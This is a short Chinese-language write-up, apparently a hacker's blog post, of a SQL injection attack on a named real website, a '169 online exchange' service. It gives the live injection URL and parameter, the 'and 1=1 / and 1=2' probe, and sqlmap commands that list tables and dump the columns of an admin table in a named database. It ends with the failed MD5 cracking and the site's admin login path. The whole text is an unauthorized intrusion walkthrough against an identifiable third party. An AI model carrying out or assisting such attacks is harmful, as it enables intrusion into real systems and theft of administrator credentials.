· 检测169在线兑换
0x00 站点：http://t.169ol.com/
注入点：http://119.6.119.51/index.php?act=exchange&op=exchange&vg_id=88
看url 有注入 就判断 and 1=1返回正常
and 1=2 返回错误
存在注入 丢去sqlmap
0x01
先用sqlmap 看下注入点
sqlmap.py -u "url"
0x02
注入找表
sqlmap.py -u "url" --tables
注入后找到了一个wm_admin的表 我们即将猜解他。
0x04
猜字段
sqlmap.py -u "url" --columns -T "wm_admin" -D "womall"
0x05
猜内容
由于md5解不开 我也没法进去了= =
后台：http://t.169ol.com/admin
